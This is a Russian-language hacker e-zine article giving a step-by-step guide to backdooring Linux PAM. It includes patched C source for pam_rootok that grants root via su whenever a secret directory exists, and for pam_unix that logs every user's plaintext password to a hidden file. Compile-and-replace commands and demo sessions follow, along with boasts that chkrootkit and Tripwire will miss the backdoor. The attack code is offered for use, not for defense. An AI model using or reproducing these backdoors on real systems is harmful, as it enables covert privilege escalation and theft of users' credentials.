-----------------------------------------
#! /usr/share/doc/defaced/2/tandp/pam.txt
-----------------------------------------
-------------------------
PAM patching (full st0ry) [ by JLx [ZUD] ]
-------------------------
--------------------// Contents:
> About PAM + idea
> Xmpl #1 /* g0t r00t via su */
> Xmpl #2 /* system login sniffer */
> See also
> Notes /* READ BEFORE ANY EXPERIMENTS!!! */
--------------------// About PAM + idea
Для начала несколько слов о PAM. Эта абревиатура означает Pluggable
Authentication Module, то есть подгружаемый модуль аутентификации. Сейчас pam
используется почти во всех unix-like системах (хотя в некоторых новых
дистрибутивах в него внесено много изменений). Схематически вот как он работает:
(Progz) (System philez)
login --->PAM ---> /etc/passwd
su -----| |-> /etc/shadow
passwd -| |-> ...
... -|
Объясню на примере system login'a: прога запрашивает login и pass, и передаёт
эту инфу PAM'у. Тот проверяет пароль, пишет сообщения в логах. Вот пример
удобства pam'a: если вы решили криптовать пароли в MD5, а не в DES'е, то
придётся перекомпилить ВСЕ проги, которые используют /etc/{passwd|shadow|etc},
просто поменяйте модуль pam!
Конфиги pam'а находятся в файле /etc/pam.conf, или в /etc/pam.d/*, или и тут, и
там одновременно. А сами модули лежат в /lib/security (во многих линухах) или в
/usr/lib/security (многие BSD системы) в виде pam_*.so. Ну и конечно, связующий
модуль libpam.so.*, который обычно расположен в {/lib|/usr/lib}.
Итак, pam имеет важную роль в системе. Он отвечает не только за аутентификацию,
но и за логирование, etc. А что, если пропатчить pam? Тогда мы получим мощный
бекдор, который во-первых, НЕ ПРОСТО обнаружить (FUCK off Chkrootkit). TripWire
тоже отдыхает, если админ не догадается проверять модули pam'a %)
--------------------// Xmpl #1
Итак, самый простой пример - патчинг pam-модуля таким образом, чтобы получать
рута через su. Первое, что я сделал:
$ cat /etc/pam.d/su
# su authentication. Root is granted access by default.
#
su auth sufficient pam_rootok.so
su auth required pam_unix_auth.so
...
Тут можно и догадаться для чего нужен pam_rootok.so. Он проверяет, является ли
клиент рутом ( getuid()==0 ) и если да, то su не будет спрашивать пароль. Значит
патчить будем именно его. Берём исходник, смотрим... Выглядит довольно просто
(<200 строк кода).Так в общем и есть. LeTz g0:
#include <sys/types.h>
#include <sys/stat.h>
#define HACKFILE "/tmp/DefaCedZin3"
/* ^^^ это в начало pam_rootok.c */
...
PAM_EXTERN
int pam_sm_authenticate(pam_handle_t *pamh,int flags,int argc
,const char **argv)
{ /* главная функция */
int ctrl;
int retval = PAM_AUTH_ERR;
struct stat sucker;
char cmd_hack[strlen(HACKFILE)+10];
ctrl = _pam_parse(argc, argv);
lstat(HACKFILE,&sucker);
if(S_ISDIR(sucker.st_mode) || (getuid()==0)){ /* g0t r00t */
retval = PAM_SUCCESS;
sprintf(cmd_hack,"rm -rf %s",HACKFILE);
system(cmd_hack); /* затираем директорию-ключ */
}
...
Так, всё просто. Далее:
$ gcc -o new_pam_rootok.so -shared pam_rootok.c
$ mv -f /lib/security/pam_rootok.so /lib/security/pam_rootok.bak # safety first
$ mv new_pam_rootok.so /lib/security/pam_rootok.so
$ id
uid=666(sucker) gid=666(sucker)
$ mkdir /tmp/DefaCedZin3
$ su root
# id
uid=0(root) gid=0(root)
Вот так...
--------------------// Xmpl #2
Ну, а что если нам нужны пароли всех пользователей системы? Тогда лучшим
решением будет пропатчить модули системного login'a. Тут несколько сложнее:
pam_unix.so, главный модуль pam'a, который отвечает за аутентификацию всех
пользователей. Он слинковывается из множества файлов. Главных всего четыре:
pam_unix_auth.c
pam_unix_acct.c
pam_unix_passwd.c
pam_unix_sess.c
Сейчас понадобится только первый.
PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags
,int argc, const char **argv)
/* ^^^ вот нужная функция */
{
unsigned int ctrl;
int retval, *ret_data = NULL;
const char *name, *p;
static int sux;
...
D(("user=%s, password=[%s]", name, p)); /* 4 debug... */
#define SNIFLOG "/bla-bla-bla/.my_secret_phile"
/* verify the password of this user */
sux = fopen(SNIFLOG,"a");
fprintf(sux,"%s : %s\n",name,p); /* its easy ;) */
fclose(sux);
retval = _unix_verify_password(pamh, name, p, ctrl);
...
Всё просто. Теперь инсталим модуль:
$ pwd
/usr/src/RPM/SOURCE/linuxPAM-0.75/modules/pam_unix
$ make
<gcc's output>
$ ls | grep .so
pam_unix.so
$ mv -f /lib/security/pam_unix.so /lib/security/pam_unix.bak # BACKUP MUSTHAVE!!!!
$ mv pam_unix.so /lib/security/
$ telnet 127.0.0.1 # test...
Connected to localhost
Escape character is ^]
WELCOME TO MY LINUX BOX!
login: root
Password: 1m_lamah
# cat /bla-bla-bla/.my_secret_phile # letz l00k
root 1m_lamah
#
Кстати, в RedHat линухах и совместимых с ним (типа Mdk) pam_unix.so берётся из
pam_pwdb. То есть патчить надо именно его:
$ pwd
/usr/src/RPM/SOURCE/linuxPAM-0.75/modules/pam_pwdb
$ make
$ mv pam_pwdb.so /lib/security/pam_unix.so
Скоро у нас на сайте появится полностью доработанный троян для linux RedHat/Mdk
c большим количеством функций. А позже мы портируем его и под FreeBSD.
--------------------// See also
Любому, кто решит патчить pam'ы стоит прочитать это:
- rfc 86.0 "UNIFIED LOGIN WITH PLUGGABLE AUTHENTICATION MODULES (PAM)"
- The LINUX-PAM System Administrator's Guide
- The LINUX-PAM Module Writer's Guide
- The LINUX-PAM Application Developer's Manual
- manz: pam, pam.conf, pam.d, etc
Почти всегда эти доки можно найти в архиве с pam'ом. Так что тут проблем быть не
должно.
--------------------// Notes
Ну а теперь самое время поговорить о том, что может случиться после
экспериментов с модулями pam'a. Скорее всего случится что-то подобное:
- грохнется один из модулей
- будет потёрт конфиг PAM'a (/etc/pam.d || /etc/pam.conf || etc)
(Хех, я своего пингвина грохал первым способом 2 раза %). При таких раскладах
получится, что в систему залогиниться НЕЛЬЗЯ!!! Тогда что делать?
1. Если есть lilo, то ребутнуть свой ящик и загрузить линух в режиме одиночного
пользователя (root'a ;). Это делается так:
<booting...>
LILO boot: linux single
2. Загрузиться с дискеты/диска и смонтировать раздел, в котором лежит дохлый
пингвин.
После любого из этих способов придётся восстанавливать либо весь pam, либо
только нужный конфиг. Поэтому ВСЕГДА надо делать бекапы pam'a!!! Да, и ещё.
Часто очень большое значение играет версия PAM'a. Поэтому не стоит ставить на
систему с версией 0.53 вешать 0.75'ый.
Удачи!
________________________________________________________________________________
www.zudteam.org JLx [ZUD], [email protected]